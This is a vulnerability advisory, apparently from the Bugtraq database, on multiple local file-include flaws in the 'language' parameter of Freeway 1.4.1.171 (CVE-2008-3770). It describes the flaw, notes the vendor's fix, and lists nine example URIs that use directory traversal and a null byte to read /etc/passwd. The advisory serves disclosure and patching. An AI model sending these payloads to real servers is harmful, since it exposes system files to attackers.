Freeway 'language' Parameter Multiple Local File Include Vulnerabilities

Bugtraq ID:	30731
Class:	Input Validation Error
CVE:	CVE-2008-3770
Remote:	Yes
Local:	No
Published:	Aug 18 2008 12:00AM
Updated:	Apr 16 2015 05:55PM
Credit:	Digital Security Research Group
Vulnerable:	Freeway Project Freeway 1.4.1 .171
Not Vulnerable:	Freeway Project Freeway 1.4.2 .197

Freeway 'language' Parameter Multiple Local File Include Vulnerabilities

Freeway is prone to multiple local file-include vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker can exploit these vulnerabilities using directory-traversal strings to view local files in the context of the webserver process. This may aid in further attacks.

Freeway 1.4.1.171 is vulnerable; other versions may also be affected.

Freeway 'language' Parameter Multiple Local File Include Vulnerabilities

Attackers can exploit these issues via a browser.

The following example URIs are available:

http://www.example.com/[installdir]/includes/events_application_top.php?language=../../../../../../../../../../../../../etc/passwd%00
http://www.example.com/[installdir]/includes/languages/english/account.php?language=../../../../../../../../../../../../../etc/passwd%00
http://www.example.com/[installdir]/includes/languages/french/account_newsletters.php? language=../../../../../../../../../../../../../etc/passwd%00
http://www.example.com/[installdir]/includes/modules/faqdesk/faqdesk_article_require.php?language=../../../../../../../../../../../../../etc/passwd%00
http://www.example.com/[installdir]/includes/modules/newsdesk/newsdesk_article_require.php?language=../../../../../../../../../../../../../etc/passwd%00
http://www.example.com/[installdir]/templates/Freeway/boxes/card1.php?language=../../../../../../../../../../../../../etc/passwd%00
http://www.example.com/[installdir]/templates/Freeway/boxes/loginbox.php?language=../../../../../../../../../../../../../etc/passwd%00
http://www.example.com/[installdir]/templates/Freeway/boxes/whos_online.php?language=../../../../../../../../../../../../../etc/passwd%00
http://www.example.com/[installdir]/templates/Freeway/mainpage_modules/mainpage.php?language=../../../../../../../../../../../../../etc/passwd%00

Freeway 'language' Parameter Multiple Local File Include Vulnerabilities

Solution:
The vendor has released an update. Please see the references for more information.

Freeway 'language' Parameter Multiple Local File Include Vulnerabilities

References:

• Freeway 1.4.2.197 patch notes (Freeway Project)
  
• Freeway Homepage (Freeway Project)
  
• [DSECRG-08-036] Multiple Security Vulnerabilities in Freeway eCommerce 1.4.1.171 ("Digital Security Research Group \[DSecRG\]" )